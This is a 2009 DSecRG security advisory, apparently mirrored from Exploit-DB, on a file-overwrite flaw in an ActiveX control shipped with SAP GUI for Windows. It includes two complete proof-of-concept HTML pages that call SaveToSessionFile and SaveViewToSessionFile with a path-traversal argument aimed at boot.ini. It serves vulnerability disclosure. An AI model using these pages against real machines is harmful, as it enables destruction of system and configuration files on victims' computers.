Digital Security Research Group [DSecRG] Advisory #DSECRG-09-044

vendor:

SAP GUI for Windows

by:

Digital Security Research Group [DSecRG]

8.8

CVSS

HIGH

File Overwriting

264

CWE

Product Name: SAP GUI for Windows

Affected Version From: 7100.2.7.1038 PL 7

Affected Version To: 7100.2.7.1038 PL 7

Patch Exists: YES

Related CWE: N/A

CPE: a:sap:sap_gui_for_windows

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

Digital Security Research Group [DSecRG] Advisory #DSECRG-09-044

SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer3D ( file WebViewer3D.dll) Lib GUID: {AFBBE070-7340-11d2-AA6B-00E02924C34E} which is contains insecure method that can overwrite any file in system. Attacker can construct html page which call one of the wulnerable functions such as SaveToSessionFile or SaveViewToSessionFile from ActiveX component EAI WebViewer3D.

Mitigation:

Update to the latest version of SAP GUI for Windows 7.1 and 6.4.

Source

Exploit-DB raw data:

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-044


Application:                    EnjoySAP, SAP GUI for Windows 6.4 and 7.1       
Versions Affected:              Tested on 7100.2.7.1038 PL 7
Vendor URL:                     http://SAP.com
Bugs:                           insecure method, File owervriting
Exploits:                       YES
Reported:                       02.07.2009
Vendor response:                02.07.2009
Date of Public Advisory:        22 ñåíò
CVE-number:                     
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer3D ( file WebViewer3D.dll) Lib GUID:    {AFBBE070-7340-11d2-AA6B-00E02924C34E}

which is contains insecure method that can overwrite any file in system. 

Details
*******

Attacker can construct html page which call one of the wulnerable functions such as: 

1) SaveToSessionFile
2) SaveViewToSessionFile

from ActiveX component EAI WebViewer3D



Example1:

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
 {
   File = "../../../../../../../../../../../../boot.ini"
   ctrl.SaveToSessionFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>


Example2:

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AFBBE070-7340-11d2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
 {
   File = "../../../../../../../../../../../../boot.ini"
   ctrl.SaveViewToSessionFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>




For example we can overwrite boot.ini file or  sapgui.ini which contains all connectionbs to sap servers 


Fix Information
***************



About
*****

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Contact:        research [at] dsecrg [dot] com
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